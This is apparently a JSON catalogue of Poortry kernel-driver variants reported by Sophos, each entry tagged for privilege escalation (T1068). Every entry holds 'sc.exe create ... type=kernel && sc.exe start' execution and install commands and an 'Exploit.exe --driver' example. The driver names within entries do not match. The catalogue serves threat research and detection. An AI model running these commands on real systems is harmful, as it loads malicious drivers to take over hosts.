      "template": "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-16773074",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_16773074.sys kernel driver",
        "commands": [
          "sc.exe create driver_d9f15d91.sys binPath=C:\\windows\\temp\\driver_d9f15d91.sys type=kernel && sc.exe start driver_d9f15d91.sys"
        ]
      }
    ],
    "name": "driver_16773074.sys",
    "namespace": "windows:kernel:driver-16773074",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_1a74c2bd.sys\"\n\n# driver_1a74c2bd.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-1a74c2bd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-1a74c2bd",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_1a74c2bd.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_1a74c2bd.sys",
    "namespace": "windows:kernel:driver-1a74c2bd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_1afc1d06.sys\"\n\n# driver_1afc1d06.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-1afc1d06.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-1afc1d06",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_1afc1d06.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_1afc1d06.sys",
    "namespace": "windows:kernel:driver-1afc1d06",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_206006a1.sys\"\n\n# driver_206006a1.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-206006a1.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-206006a1",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_206006a1.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_206006a1.sys",
    "namespace": "windows:kernel:driver-206006a1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_ef9d653a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_290bc782.sys\"\n\n# driver_290bc782.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-290bc782.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-290bc782",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_290bc782.sys kernel driver",
        "commands": [
          "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys"
        ]
      }
    ],
    "name": "driver_290bc782.sys",
    "namespace": "windows:kernel:driver-290bc782",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_312c83a9.sys\"\n\n# driver_312c83a9.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-312c83a9.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-312c83a9",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_312c83a9.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_312c83a9.sys",
    "namespace": "windows:kernel:driver-312c83a9",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_4d8bc539.sys\"\n\n# driver_4d8bc539.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-4d8bc539.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-4d8bc539",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_4d8bc539.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_4d8bc539.sys",
    "namespace": "windows:kernel:driver-4d8bc539",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_4f9b5a2f.sys\"\n\n# driver_4f9b5a2f.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-4f9b5a2f.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-4f9b5a2f",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_4f9b5a2f.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_4f9b5a2f.sys",
    "namespace": "windows:kernel:driver-4f9b5a2f",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_fdd16a94.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_4fc254af.sys\"\n\n# driver_4fc254af.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-4fc254af.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-4fc254af",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_4fc254af.sys kernel driver",
        "commands": [
          "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys"
        ]
      }
    ],
    "name": "driver_4fc254af.sys",
    "namespace": "windows:kernel:driver-4fc254af",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_5c308aed.sys\"\n\n# driver_5c308aed.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-5c308aed.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-5c308aed",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_5c308aed.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_5c308aed.sys",
    "namespace": "windows:kernel:driver-5c308aed",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_ef9d653a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_5d61e4ea.sys\"\n\n# driver_5d61e4ea.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-5d61e4ea.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-5d61e4ea",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_5d61e4ea.sys kernel driver",
        "commands": [
          "sc.exe create driver_ef9d653a.sys binPath=C:\\windows\\temp\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys"
        ]
      }
    ],
    "name": "driver_5d61e4ea.sys",
    "namespace": "windows:kernel:driver-5d61e4ea",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_fdd16a94.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_668c5bea.sys\"\n\n# driver_668c5bea.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-668c5bea.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-668c5bea",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_668c5bea.sys kernel driver",
        "commands": [
          "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys"
        ]
      }
    ],
    "name": "driver_668c5bea.sys",
    "namespace": "windows:kernel:driver-668c5bea",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_c3d48ddd.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_77225a99.sys\"\n\n# driver_77225a99.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-77225a99.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-77225a99",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_77225a99.sys kernel driver",
        "commands": [
          "sc.exe create driver_c3d48ddd.sys binPath=C:\\windows\\temp\\driver_c3d48ddd.sys type=kernel && sc.exe start driver_c3d48ddd.sys"
        ]
      }
    ],
    "name": "driver_77225a99.sys",
    "namespace": "windows:kernel:driver-77225a99",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_fdd16a94.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_82d928c5.sys\"\n\n# driver_82d928c5.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-82d928c5.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-82d928c5",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_82d928c5.sys kernel driver",
        "commands": [
          "sc.exe create driver_fdd16a94.sys binPath=C:\\windows\\temp\\driver_fdd16a94.sys type=kernel && sc.exe start driver_fdd16a94.sys"
        ]
      }
    ],
    "name": "driver_82d928c5.sys",
    "namespace": "windows:kernel:driver-82d928c5",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_bfcbc010.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_85ca0dcd.sys\"\n\n# driver_85ca0dcd.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-85ca0dcd.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Sophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.",
    "execution": {
      "template": "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-driver-85ca0dcd",
    "install": [
      {
        "method": "custom",
        "description": "Load driver_85ca0dcd.sys kernel driver",
        "commands": [
          "sc.exe create driver_bfcbc010.sys binPath=C:\\windows\\temp\\driver_bfcbc010.sys type=kernel && sc.exe start driver_bfcbc010.sys"
        ]
      }
    ],
    "name": "driver_85ca0dcd.sys",
    "namespace": "windows:kernel:driver-85ca0dcd",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2024/08/27/burnt-cigar-2/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver_ef9d653a.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver_ef9d653a.sys type=kernel && sc.exe start driver_ef9d653a.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver_89036534.sys\"\n\n# driver_89036534.sys\n\nSophos, from time to time, has observed a threat actor deploy variants of Poortry on different machines within a single estate during an attack. These variants contain the same payload, but signed with a different certificate than the driver first seen used during the attack.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver-89036534.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
